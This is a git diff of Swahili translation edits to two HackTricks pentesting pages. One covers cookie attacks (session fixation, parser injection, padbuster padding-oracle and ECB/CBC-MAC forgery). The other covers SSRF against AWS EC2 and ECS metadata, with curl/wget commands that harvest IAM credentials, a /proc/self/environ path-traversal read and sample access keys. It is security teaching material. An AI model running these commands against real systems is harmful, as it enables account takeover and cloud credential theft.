Ni muhimu kutambua kuwa vidakuzi vilivyo na kipimo cha `__Host-` hairuhusiwi kutumwa kwa vikoa vya juu au vikoa vya sekondari. Kizuizi hiki husaidia katika kuzingatia vidakuzi vya programu. Hivyo, kutumia kipimo cha `__Host-` kwa vidakuzi vyote vya programu kunaweza kuchukuliwa kama mazoea mazuri ya kuboresha usalama na kujitenga.
Ni muhimu kutambua kuwa vidakuzi vilivyo na kipimo cha `__Host-` hairuhusiwi kutumwa kwa superdomains au subdomains. Kizuizi hiki husaidia katika kuzingatia vidakuzi vya programu. Hivyo, kutumia kipimo cha `__Host-` kwa vidakuzi vyote vya programu kunaweza kuchukuliwa kama mazoea mazuri ya kuboresha usalama na kujitenga.
### Kubadilisha Vidakuzi
Kwa hivyo, moja ya kinga ya vidakuzi vilivyo na kipimo cha `__Host-` ni kuzuia kubadilishwa kutoka kwa subdomains. Kuzuia kwa mfano [**mashambulizi ya Kutupa Vidakuzi**](cookie-tossing.md). Katika mazungumzo [**Vidakuzi Vinavyovunjika: Kufunua Udhaifu wa Uadilifu wa Kikao cha Wavuti**](https://www.youtube.com/watch?v=F\_wAzF4a7Xg) ([**karatasi**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) ilionyeshwa kuwa ilikuwa inawezekana kuweka vidakuzi vilivyo na kipimo cha \_\_HOST- kutoka kwa subdomain, kwa kudanganya parser, kwa mfano, kuongeza "=" mwanzoni au mwanzoni na mwishoni...:
Kwa hivyo, moja ya kinga ya vidakuzi vilivyo na kipimo cha `__Host-` ni kuzuia kubadilishwa kutoka kwa subdomains. Kuzuia kwa mfano [**mashambulizi ya Kutupa Vidakuzi**](cookie-tossing.md). Katika mazungumzo [**Vidakuzi Vinavyovunjika: Kufunua Udhaifu wa Uadilifu wa Kikao cha Wavuti**](https://www.youtube.com/watch?v=F\_wAzF4a7Xg) ([**karatasi**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) ilionyeshwa kuwa ilikuwa inawezekana kuweka vidakuzi vilivyo na kipimo cha \_\_HOST- kutoka kwa subdomain, kwa kudanganya parser, kwa mfano, kwa kuongeza "=" mwanzoni au mwanzoni na mwishoni...:
<figure><img src="../../.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
@ -118,21 +118,21 @@ Au katika PHP ilikuwa inawezekana kuongeza **herufi nyingine mwanzoni** mwa jina
## Mashambulizi ya Vidakuzi
Ikiwa kuki ya desturi ina data nyeti hakiki (haswa ikiwa unacheza CTF), kwani inaweza kuwa na udhaifu.
Ikiwa kuki ya desturi ina data nyeti hakikisha kuichunguza (hasa ikiwa unashiriki CTF), kwani inaweza kuwa na udhaifu.
### Kudecode na Kubadilisha Vidakuzi
Data nyeti iliyofichwa katika vidakuzi inapaswa daima kuchunguzwa kwa makini. Vidakuzi vilivyofichwa kwa Base64 au muundo kama huo mara nyingi vinaweza kudekodiwa. Udhaifu huu huruhusu wachomaji kubadilisha maudhui ya kuki na kujifanya kuwa watumiaji wengine kwa kuweka data yao iliyobadilishwa ndani ya kuki.
Data nyeti iliyofichwa katika vidakuzi inapaswa daima kuchunguzwa. Vidakuzi vilivyofichwa kwa Base64 au muundo kama huo mara nyingi vinaweza kudekodiwa. Udhaifu huu huruhusu wachomaji kubadilisha maudhui ya kuki na kujifanya kuwa watumiaji wengine kwa kuweka data yao iliyobadilishwa ndani ya kuki.
### Udukuzi wa Kikao
Shambulio hili linahusisha kuiba kuki ya mtumiaji ili kupata ufikiaji usioruhusiwa kwenye akaunti yao ndani ya programu. Kwa kutumia kuki iliyoibiwa, mchomaji anaweza kujifanya kuwa mtumiaji halali.
Shambulio hili linahusisha kuiba kuki ya mtumiaji ili kupata ufikiaji usioruhusiwa kwenye akaunti yao ndani ya programu. Kwa kutumia kuki iliyoibiwa, mshambuliaji anaweza kujifanya kuwa mtumiaji halali.
### Kufikia Kikao
### Kufikisha Kikao
Katika hali hii, mchomaji anadanganya mhanga kutumia kuki maalum kuingia. Ikiwa programu haipangi kuki mpya wakati wa kuingia, mchomaji, akiwa na kuki ya awali, anaweza kujifanya kuwa mhanga. Mbinu hii inategemea mhanga kuingia na kuki iliyotolewa na mchomaji.
Katika hali hii, mshambuliaji anadanganya muathiriwa kutumia kuki maalum kuingia. Ikiwa programu haipangi kuki mpya wakati wa kuingia, mshambuliaji, akiwa na kuki ya awali, anaweza kujifanya kuwa muathiriwa. Mbinu hii inategemea muathiriwa kuingia kwa kuki iliyotolewa na mshambuliaji.
Ikiwa umepata **XSS katika subdomain** au unadhibiti **subdomain**, soma:
Ikiwa umepata **XSS katika subdomain** au **una udhibiti wa subdomain**, soma:
{% content-ref url="cookie-tossing.md" %}
[cookie-tossing.md](cookie-tossing.md)
@ -140,9 +140,9 @@ Ikiwa umepata **XSS katika subdomain** au unadhibiti **subdomain**, soma:
### Kutoa Kikao
Hapa, mchomaji anashawishi mhanga kutumia kuki ya kikao cha mchomaji. Mhanga, akiamini kuwa wameingia kwenye akaunti yao wenyewe, bila kukusudia watatekeleza vitendo katika muktadha wa akaunti ya mchomaji.
Hapa, mshambuliaji anamshawishi muathiriwa kutumia kuki ya kikao cha mshambuliaji. Muathiriwa, akiamini kuwa wameingia kwenye akaunti yao wenyewe, bila kukusudia watatekeleza vitendo katika muktadha wa akaunti ya mshambuliaji.
Ikiwa umepata **XSS katika subdomain** au unadhibiti **subdomain**, soma:
Ikiwa umepata **XSS katika subdomain** au **una udhibiti wa subdomain**, soma:
{% content-ref url="cookie-tossing.md" %}
[cookie-tossing.md](cookie-tossing.md)
@ -152,7 +152,7 @@ Ikiwa umepata **XSS katika subdomain** au unadhibiti **subdomain**, soma:
Bonyeza kwenye kiungo kilichotangulia kupata ukurasa unaoelezea udhaifu unaowezekana katika JWT.
Vidakuzi vya JSON Web Tokens (JWT) vilivyotumika katika vidakuzi pia vinaweza kuwa na udhaifu. Kwa habari kamili juu ya udhaifu unaowezekana na jinsi ya kuzitumia, kupata hati iliyounganishwa kwenye udukuzi wa JWT inapendekezwa.
Vidakuzi vilivyotumia JSON Web Tokens (JWT) pia vinaweza kuwa na udhaifu. Kwa habari kamili juu ya udhaifu unaowezekana na jinsi ya kuvunja, kupata hati iliyounganishwa kwenye kuvunja JWT kunapendekezwa.
### Udukuzi wa Ombi la Msalaba wa Tovuti (CSRF)
@ -166,7 +166,7 @@ document.cookie = "a=v1"
document.cookie = "=test value;" // Setting an empty named cookie
document.cookie = "b=v2"
```
Matokeo katika kichwa cha kidakuzi kilichotumwa ni `a=v1; thibitisha thamani; b=v2;`. Kwa kushangaza, hii inaruhusu kubadilisha vidakuzi ikiwa kidakuzi cha jina tupu kimesetwa, ikidhibiti vidakuzi vingine kwa kuweka kidakuzi tupu kwa thamani maalum:
Matokeo katika kichwa cha kidakuzi kilichotumwa ni `a=v1; thibitisha thamani; b=v2;`. Kwa kushangaza, hii inaruhusu udhibiti wa vidakuzi ikiwa kidakuzi cha jina tupu kimesetwa, hivyo kudhibiti vidakuzi vingine kwa kuweka kidakuzi tupu kwa thamani maalum:
```js
function setCookie(name, value) {
document.cookie = `${name}=${value}`;
@ -176,49 +176,51 @@ setCookie("", "a=b"); // Setting the empty cookie modifies another cookie's valu
```
Hii inapelekea kivinjari kutuma kichwa cha cookie kinachotafsiriwa na kila seva ya wavuti kama cookie iliyoitwa `a` yenye thamani `b`.
#### Kosa la Chrome: Shida ya Kipengee cha Kanuni ya Surrogate ya Unicode
#### Kosa la Chrome: Shida ya Kipengee cha Kanuni ya Mbegu ya Unicode
Katika Chrome, ikiwa kipengee cha kanuni ya mbegu ya Unicode ni sehemu ya cookie iliyowekwa, `document.cookie` inaharibika, ikirudisha herufi tupu baadaye:
```js
document.cookie = "\ud800=meep";
```
Hii inasababisha `document.cookie` kutoa matokeo ya herufi tupu, ikionyesha uharibifu wa kudumu.
#### Kupitisha Cookie Kutokana na Matatizo ya Upatanishi
#### Kupitisha Cookie Kutokana na Matatizo ya Upangaji
( Angalia maelezo zaidi katika [utafiti wa awali](https://blog.ankursundara.com/cookie-bugs/)) Seva kadhaa za wavuti, ikiwa ni pamoja na zile za Java (Jetty, TomCat, Undertow) na Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), zinashughulikia vibaya herufi za cookie kutokana na msaada uliopitwa na wakati wa RFC2965. Huzisoma thamani za cookie zilizofungwa kwa alama mbili kama thamani moja hata kama ina pamoja na vipande vya nukta-kuu, ambavyo kawaida vinapaswa kutenganisha jozi za funguo-thamani:
( Angalia maelezo zaidi katika [utafiti wa awali](https://blog.ankursundara.com/cookie-bugs/)) Seva kadhaa za wavuti, ikiwa ni pamoja na zile za Java (Jetty, TomCat, Undertow) na Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), zinashughulikia vibaya herufi za cookie kutokana na msaada uliopitwa wa RFC2965. Huzisoma thamani za cookie zilizofungwa kwa alama ya nukta mbili kama thamani moja hata kama ina pamoja na vipande vya nukta-kuu, ambavyo kawaida vinapaswa kutenganisha jozi za funguo-thamani:
```
RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
```
#### Udhaifu wa Kuingiza Vidakuzi
#### Mapungufu ya Uvujaji wa Cookie
(Angalia maelezo zaidi katika [utafiti wa awali](https://blog.ankursundara.com/cookie-bugs/)) Uchambuzi usio sahihi wa vidakuzi na seva, hasa Undertow, Zope, na wale wanaotumia `http.cookie.SimpleCookie` na `http.cookie.BaseCookie` ya Python, hutoa fursa za mashambulizi ya kuingiza vidakuzi. Seva hizi hazifanikiwi kufafanua kwa usahihi mwanzo wa vidakuzi vipya, kuruhusu wadukuzi kujifanya kuwa vidakuzi:
(Angalia maelezo zaidi katika [utafiti wa awali](https://blog.ankursundara.com/cookie-bugs/)) Uchambuzi usio sahihi wa cookies na seva, hasa Undertow, Zope, na wale wanaotumia `http.cookie.SimpleCookie` na `http.cookie.BaseCookie` ya Python, hutoa fursa za mashambulizi ya kuingiza cookie. Seva hizi hazifanikiwi kufafanua kwa usahihi mwanzo wa cookies mpya, kuruhusu wachomaji kujifanya kuwa cookies:
* Undertow inatarajia kudukuliwa kwa kuki mpya mara moja baada ya thamani iliyonyooka bila ya mkato.
* Zope inatafuta koma kuanza kuchambua kuki inayofuata.
* Darasa za kuki za Python huanza kuchambua kwa herufi ya nafasi.
- Undertow inatarajia cookie mpya mara moja baada ya thamani iliyonukuliwa bila ya mkato.
- Zope inatafuta comma kuanza kuchambua cookie inayofuata.
- Darasa za cookie za Python huanza kuchambua kwenye herufi ya nafasi.
Udhaifu huu ni hatari hasa katika maombi ya wavuti yanayotegemea ulinzi wa CSRF kwa kutumia vidakuzi, kwani inaruhusu wadukuzi kuingiza vidakuzi bandia vya CSRF-token, ikipitisha hatua za usalama. Tatizo hili linazidishwa na jinsi Python inavyoshughulikia majina ya vidakuzi maradufu, ambapo tukio la mwisho linapuuza yale ya awali. Pia inaleta wasiwasi kwa vidakuzi vya `__Secure-` na `__Host-` katika muktadha usio salama na inaweza kusababisha upitishaji wa idhini wakati vidakuzi vinapitishwa kwa seva za nyuma zinazoweza kudukuliwa.
Mapungufu haya ni hatari hasa katika maombi ya wavuti yanayotegemea ulinzi wa CSRF kulingana na cookies, kwani inaruhusu wachomaji kuingiza cookies za CSRF zilizodanganywa, kwa uwezekano wa kuzidi hatua za usalama. Tatizo hili linazidishwa na jinsi Python inavyoshughulikia majina ya cookies yanayorudiwa, ambapo tukio la mwisho linapuuza yale ya awali. Pia inaleta wasiwasi kwa cookies za `__Secure-` na `__Host-` katika muktadha usio salama na inaweza kusababisha upitishaji wa idhini wakati cookies zinapitishwa kwa seva za nyuma zinazoweza kudanganywa.
### Ukaguzi wa Vidakuzi Vilivyozidi Kuwa Dhaifu
### Ukaguzi wa Ziada wa Cookies Zenye Mapungufu
#### **Uchunguzi wa Msingi**
* **Kuki** ni **sawa** kila wakati unapoj**isajili**.
* Tolea nje na jaribu kutumia kuki hiyo hiyo.
* Jaribu kuingia kwa kutumia vifaa 2 (au vivinjari) kwenye akaunti moja kwa kutumia kuki hiyo hiyo.
* Angalia kama kuki ina habari yoyote ndani yake na jaribu kuibadilisha.
* Jaribu kuunda akaunti kadhaa zenye majina ya mtumiaji yanayofanana na uangalie kama unaweza kuona mfanano.
* Angalia chaguo la "**kumbuka**" ikiwepo kuona jinsi inavyofanya kazi. Ikiwepo na inaweza kuwa dhaifu, tumia daima kuki ya **kumbuka** bila kuki nyingine yoyote.
* Angalia kama kuki ya awali inafanya kazi hata baada ya kubadilisha nenosiri.
- **Cookie** ni **sawa** kila wakati unapoj**iunga**.
- Tolea nje na jaribu kutumia cookie hiyo hiyo.
- Jaribu kuingia kwa kutumia vifaa 2 (au vivinjari) kwenye akaunti moja kwa kutumia cookie hiyo hiyo.
- Angalia kama cookie ina habari yoyote ndani yake na jaribu kuibadilisha.
- Jaribu kuunda akaunti kadhaa zenye majina yanayofanana na uangalie kama unaweza kuona mfanano.
- Angalia chaguo la "**kumbuka**" ikiwepo kuona jinsi inavyofanya kazi. Ikiwepo na inaweza kuwa na mapungufu, tumia daima cookie ya **kumbuka** bila cookie nyingine yoyote.
- Angalia kama cookie ya awali inafanya kazi hata baada ya kubadilisha nenosiri.
#### **Mashambulizi ya Vidakuzi ya Juu**
#### **Mashambulizi ya Cookies ya Juu**
Ikiwa kuki inabaki sawa (au karibu) unapojisajili, hii inamaanisha labda kuki hiyo inahusiana na uga fulani wa akaunti yako (labda jina la mtumiaji). Kisha unaweza:
Ikiwa cookie inabaki sawa (au karibu) unapojiunga, hii inamaanisha labda cookie hiyo inahusiana na uga fulani wa akaunti yako (labda jina la mtumiaji). Kisha unaweza:
* Jaribu kuunda akaunti nyingi zenye majina ya mtumiaji vinavyofanana sana na jaribu **kudhan** jinsi algorithm inavyofanya kazi.
* Jaribu **kuvunja nguvu jina la mtumiaji**. Ikiwa kuki inahifadhi tu kama njia ya uthibitisho kwa jina lako la mtumiaji, basi unaweza kuunda akaunti na jina la mtumiaji "**Bmin**" na **kuvunja nguvu** kila **biti** ya kuki yako kwa sababu moja ya vidakuzi utakavyojaribu itakuwa inayomilikiwa na "**admin**".
* Jaribu **Padding Oracle** (unaweza kufichua maudhui ya kuki). Tumia **padbuster**.
- Jaribu kuunda akaunti nyingi zenye majina ya mtumiaji vinavyofanana sana na jaribu **kudhanii** jinsi algorithm inavyofanya kazi.
- Jaribu **bruteforce jina la mtumiaji**. Ikiwa cookie inahifadhi tu kama njia ya uthibitisho kwa jina lako la mtumiaji, basi unaweza kuunda akaunti na jina la mtumiaji "**Bmin**" na **bruteforce** kila **biti** ya cookie yako kwa sababu moja ya cookies utakazozijaribu itakuwa ile inayomilikiwa na "**admin**".
- Jaribu **Padding Oracle** (unaweza kufichua maudhui ya cookie). Tumia **padbuster**.
**Oracle ya Padding - Mifano ya Padbuster**
**Padding Oracle - Mifano ya Padbuster**
```bash
padbuster <URL/path/when/successfully/login/with/cookie> <COOKIE> <PAD[8-16]>
# When cookies and regular Base64
@ -232,34 +234,34 @@ Padbuster itafanya majaribio kadhaa na itakuuliza ni hali ipi ni hali ya kosa (i
Kisha itaanza kufichua cookie (inaweza kuchukua dakika kadhaa)
Ikiwa shambulio limefanikiwa, basi unaweza jaribu kufichua string ya chaguo lako. Kwa mfano, ikiwa ungependa **kuficha** **mtumiaji=msimamizi**
Ikiwa shambulio limefanikiwa, basi unaweza kujaribu kufichua string ya chaguo lako. Kwa mfano, ikiwa ungependa **kuficha** **mtumiaji=msimamizi**
```
padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator
```
Utekelezaji huu utakupa kidakuzi kilichofichwa na kikodishwa kwa usahihi na kificho cha herufi **user=msimamizi** ndani.
Utekelezaji huu utakupa kuki iliyofichwa na kusimbwa kwa usahihi na kificho cha **user=administrator** ndani yake.
**CBC-MAC**
Labda kidakuzi kinaweza kuwa na thamani fulani na kinaweza kusainiwa kwa kutumia CBC. Kisha, uadilifu wa thamani ni saini iliyoumbwa kwa kutumia CBC na thamani ile ile. Kwa kuwa inapendekezwa kutumia IV kama vector ya sifuri, aina hii ya ukaguzi wa uadilifu inaweza kuwa hatarini.
Labda kuki inaweza kuwa na thamani fulani na inaweza kusainiwa kutumia CBC. Kisha, uadilifu wa thamani ni saini iliyoumbwa kwa kutumia CBC na thamani ile ile. Kwa kuwa inapendekezwa kutumia IV kama vector ya sifuri, aina hii ya ukaguzi wa uadilifu inaweza kuwa hatarini.
**Shambulio**
1. Pata saini ya jina la mtumiaji **msimamizi** = **t**
1. Pata saini ya jina la mtumiaji **administ** = **t**
2. Pata saini ya jina la mtumiaji **rator\x00\x00\x00 XOR t** = **t'**
3. Weka katika kidakuzi thamani **msimamizi+t'** (**t'** itakuwa saini halali ya **(rator\x00\x00\x00 XOR t) XOR t** = **rator\x00\x00\x00**
3. Weka kwenye kuki thamani **administrator+t'** (**t'** itakuwa saini halali ya **(rator\x00\x00\x00 XOR t) XOR t** = **rator\x00\x00\x00**
**ECB**
Ikiwa kidakuzi kimefichwa kwa kutumia ECB kinaweza kuwa hatarini.\
Unapojiingia, kidakuzi unachopokea lazima kiwe sawa daima.
Ikiwa kuki imefichwa kutumia ECB inaweza kuwa hatarini.\
Unapojiingia kwenye kuki unayopokea lazima iwe ile ile daima.
**Jinsi ya kugundua na kushambulia:**
Unda watumiaji 2 wenye data karibu sawa (jina la mtumiaji, nenosiri, barua pepe, n.k.) na jaribu kugundua mchoro fulani ndani ya kidakuzi kilichopewa
Unda watumiaji 2 wenye data karibu sawa (jina la mtumiaji, nenosiri, barua pepe, n.k.) na jaribu kugundua mchoro fulani ndani ya kuki iliyotolewa
Unda mtumiaji aitwaye kwa mfano "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" na angalia ikiwa kuna mchoro wowote katika kidakuzi (kwa kuwa ECB inakificha kwa kutumia ufunguo sawa kila bloku, herufi zilizofichwa zinaweza kuonekana ikiwa jina la mtumiaji limefichwa).
Unda mtumiaji aitwaye kwa mfano "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" na angalia ikiwa kuna mchoro wowote kwenye kuki (kwa kuwa ECB inasimbwa na ufunguo sawa kila kizuizi, herufi zilizosimbwa sawa zinaweza kuonekana ikiwa jina la mtumiaji limewekwa).
Inapaswa kuwepo mchoro (wenye saizi ya bloku iliyotumiwa). Kwa hivyo, ukijua jinsi "a" nyingi zilivyofichwa unaweza kuunda jina la mtumiaji: "a"\*(saizi ya bloku)+"msimamizi". Kisha, unaweza kufuta mchoro uliofichwa wa bloku ya "a" kutoka kwa kidakuzi. Na utakuwa na kidakuzi cha jina la mtumiaji "msimamizi".
Inapaswa kuwepo mchoro (wenye saizi ya kizuizi kilichotumiwa). Kwa hivyo, ukiwa unajua jinsi "a" nyingi zilizosimbwa unaweza kuunda jina la mtumiaji: "a"\*(saizi ya kizuizi)+"admin". Kisha, unaweza kufuta mchoro uliosimbwa wa kizuizi cha "a" kutoka kwenye kuki. Na utakuwa na kuki ya jina la mtumiaji "admin".
## Marejeo
@ -268,13 +270,13 @@ Inapaswa kuwepo mchoro (wenye saizi ya bloku iliyotumiwa). Kwa hivyo, ukijua jin
**Kikundi cha Usalama cha Kujitahidi Kwa Bidii**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<details>
<summary><strong>Jifunze kuhusu kuvamia AWS kutoka mwanzo hadi kuwa shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:

View file

@ -2,21 +2,21 @@
<details>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
**Kikundi cha Usalama cha Kujaribu Kwa Bidii**
**Kikundi cha Usalama cha Try Hard**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -26,17 +26,17 @@ Njia nyingine za kusaidia HackTricks:
### Kutumia SSRF katika mazingira ya AWS EC2
**Endpoint ya metadata** inaweza kufikiwa kutoka ndani ya mashine yoyote ya EC2 na inatoa habari muhimu kuhusu hiyo. Inapatikana kwenye url: `http://169.254.169.254` ([habari kuhusu metadata hapa](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)).
**Endpoint ya metadata** inaweza kufikiwa kutoka ndani ya mashine yoyote ya EC2 na inatoa habari muhimu kuhusu hiyo. Inapatikana kwa url: `http://169.254.169.254` ([habari kuhusu metadata hapa](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)).
Kuna **toleo 2** la endpoint ya metadata. **La kwanza** inaruhusu **kufikia** endpoint kupitia maombi ya **GET** (hivyo **SSRF yoyote inaweza kuidhuru**). Kwa **toleo 2**, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), unahitaji kuomba **tokeni** kwa kutuma ombi la **PUT** na **HTTP header** kisha kutumia tokeni hiyo kufikia metadata na HTTP header nyingine (hivyo ni **ngumu zaidi kuidhuru** na SSRF).
Kuna **toleo 2** la endpoint ya metadata. **La kwanza** inaruhusu **kufikia** endpoint kupitia maombi ya **GET** (hivyo **SSRF yoyote inaweza kuitumia**). Kwa **toleo la 2**, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), unahitaji kuomba **tokeni** kwa kutuma ombi la **PUT** na **HTTP header** kisha kutumia tokeni hiyo kufikia metadata na HTTP header nyingine (hivyo ni **ngumu zaidi kuitumia** na SSRF).
{% hint style="danger" %}
Tambua kwamba ikiwa kifaa cha EC2 kinaimarisha IMDSv2, [**kulingana na nyaraka**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **jibu la ombi la PUT** litakuwa na **kipimo cha hatua cha 1**, kufanya iwe haiwezekani kufikia metadata ya EC2 kutoka kwenye chombo ndani ya kifaa cha EC2.
Tafadhali kumbuka kwamba ikiwa kifaa cha EC2 kinaimarisha IMDSv2, [**kulingana na nyaraka**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **jibu la ombi la PUT** litakuwa na **kikomo cha hatua 1**, kufanya iwe haiwezekani kufikia metadata ya EC2 kutoka kwenye chombo ndani ya kifaa cha EC2.
Zaidi ya hayo, **IMDSv2** pia **itazuia maombi ya kupata tokeni ambayo yana kichwa cha `X-Forwarded-For`**. Hii ni ili kuzuia wakala wa kurudisha misimamo iliyopangwa vibaya kutoka kuweza kufikia hiyo.
Zaidi ya hayo, **IMDSv2** pia **itazuia maombi ya kupata tokeni ambayo yanajumuisha kichwa cha `X-Forwarded-For`**. Hii ni ili kuzuia wakala wa kurudisha misimamo iliyopangwa vibaya kutoka kuweza kufikia hiyo.
{% endhint %}
Unaweza kupata habari kuhusu [endpoints ya metadata katika nyaraka](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). Katika hati ya kufuatia, habari muhimu inapatikana kutoka kwake:
Unaweza kupata habari kuhusu [mipaka ya metadata katika nyaraka](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). Katika script ifuatayo habari muhimu inapatikana kutoka kwake:
```bash
EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
@ -100,9 +100,9 @@ Kama mfano wa **vyeti vya IAM vinavyopatikana hadharani** vilivyofichuliwa unawe
Unaweza pia kuangalia **vyeti vya usalama vya EC2 vya umma** katika: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
Kisha unaweza kuchukua **vyeti hivyo na kuvitumia na AWS CLI**. Hii itakuruhusu kufanya **chochote ambacho jukumu hilo lina idhini** kufanya.
Kisha unaweza **kutumia vyeti hivyo na AWS CLI**. Hii itakuruhusu kufanya **chochote ambacho jukumu hilo lina idhini ya kufanya**.
Kutumia vyeti vipya, utahitaji kuunda wasifu mpya wa AWS kama huu:
Ili kunufaika na vyeti vipya, utahitaji kuunda wasifu mpya wa AWS kama huu:
```
[profilename]
aws_access_key_id = ASIA6GG7PSQG4TCGYYOU
@ -111,14 +111,14 @@ aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4
```
Tambua **aws\_session\_token**, hii ni muhimu kwa wasifu kufanya kazi.
[**PACU**](https://github.com/RhinoSecurityLabs/pacu) inaweza kutumika na siri zilizopatikana kujua haki zako na jaribu kuinua haki
[**PACU**](https://github.com/RhinoSecurityLabs/pacu) inaweza kutumika na siri zilizopatikana kujua mamlaka yako na jaribu kuinua mamlaka
### SSRF katika AWS ECS (Huduma ya Kontena) siri
**ECS**, ni kikundi la mantiki la mifano ya EC2 ambayo unaweza kukimbia programu bila kuhitaji kupanua miundombinu yako ya usimamizi wa kikundi kwa sababu ECS inasimamia hilo kwa niaba yako. Ikiwa unafanikiwa kudukua huduma inayotumika katika **ECS**, **vifaa vya metadata hubadilika**.
**ECS**, ni kikundi la mantiki la mifano ya EC2 ambayo unaweza kukimbia programu bila kuhitaji kupanua miundombinu yako ya usimamizi wa kikundi kwa sababu ECS inasimamia hilo kwa niaba yako. Ikiwa unafanikiwa kudhoofisha huduma inayofanya kazi katika **ECS**, **vifaa vya metadata vinabadilika**.
Ikiwa unapata ufikiaji kwa _**http://169.254.170.2/v2/credentials/\<GUID>**_ utapata siri za mashine ya ECS. Lakini kwanza unahitaji **kupata \<GUID>**. Ili kupata \<GUID> unahitaji kusoma **mazingira** ya kipekee **AWS\_CONTAINER\_CREDENTIALS\_RELATIVE\_URI** ndani ya mashine.\
Unaweza kuisoma kwa kutumia njia ya **Path Traversal** kwa `file:///proc/self/environ`\
Ikiwa unafikia _**http://169.254.170.2/v2/credentials/\<GUID>**_ utapata siri za mashine ya ECS. Lakini kwanza unahitaji **kupata \<GUID>**. Ili kupata \<GUID> unahitaji kusoma **variable ya environ** **AWS\_CONTAINER\_CREDENTIALS\_RELATIVE\_URI** ndani ya mashine.\
Unaweza kuisoma kwa kutumia **Path Traversal** kwa `file:///proc/self/environ`\
Anwani ya http iliyotajwa inapaswa kukupa **AccessKey, SecretKey na token**.
```bash
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
